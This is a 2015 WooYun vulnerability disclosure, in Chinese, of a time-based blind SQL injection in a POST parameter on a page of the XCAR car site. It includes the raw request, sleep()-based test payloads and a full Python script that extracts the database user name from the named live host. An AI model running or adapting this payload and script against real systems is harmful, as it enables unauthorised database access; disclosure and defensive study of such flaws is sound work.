当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0110875

漏洞标题:爱卡某站SQL注射漏洞

相关厂商:爱卡汽车网

漏洞作者: 紫霞仙子

提交时间:2015-04-28 16:50

修复时间:2015-06-12 17:10

公开时间:2015-06-12 17:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-28: 细节已通知厂商并且等待厂商处理中
2015-04-28: 厂商已经确认,细节仅向厂商公开
2015-05-08: 细节向核心白帽子及相关领域专家公开
2015-05-18: 细节向普通白帽子公开
2015-05-28: 细节向实习白帽子公开
2015-06-12: 细节向公众公开

简要描述:

233

详细说明:

url:
POST /201503/new_crown/position.php HTTP/1.1
Content-Length: 143
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://topic.xcar.com.cn/201503/new_crown/
Host: topic.xcar.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.0 Safari/537.36
Accept: */*
position=

漏洞证明:

测试payload 
position=if(now()=sysdate(),sleep(3),0) ----> 4s
position=if(now()=sysdate(),sleep(6),0) ----> 6s

position=if(now()=sysdate(),sleep(9),0) ----> 9s
确认漏洞存在。


有点慢,不全跑了。

x20150428164836.png


下来看脚本:
这次不要说我的脚本写的不好了。

#!/usr/bin/python
import httplib
import time
import urllib
import urllib2
import sys
import random
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
base_url = "/201503/new_crown/position.php"
user = ''
def sql():
global user
post_data={"position":"1"}
for i in range(1,22):
for payload in payloads:
data2 = "if(now()=sysdate(),sleep(abs(ascii(mid(lower(user()),%d,1))-%d)),0)" % (i,ord(payload))
post_data["position"] = data2
print post_data["position"]

data=urllib.urlencode(post_data)
headers = {"User-agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language" : "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3",
"Accept-Encoding" : "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Connection": "keep-alive"}
try:
now_time = time.time()
conn = httplib.HTTPConnection("topic.xcar.com.cn",timeout=60)
conn.request('POST', base_url, data, headers)
data3 = conn.getresponse().read()
except:
continue
print i

if time.time() - now_time < 1:
user += payload
sys.stdout.write('\r[In Progress]' + user +'\n')
sys.stdout.flush()
break
else:
print "pass"
if __name__ == "__main__":
sql()
print '\n[Done]MySQL user is ' + user

修复方案:

~~求 20 rank !!!

版权声明:转载请注明来源 紫霞仙子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2015-04-28 17:10

厂商回复:

感谢@紫霞仙子的提交,我们会尽快处理!

最新状态:

暂无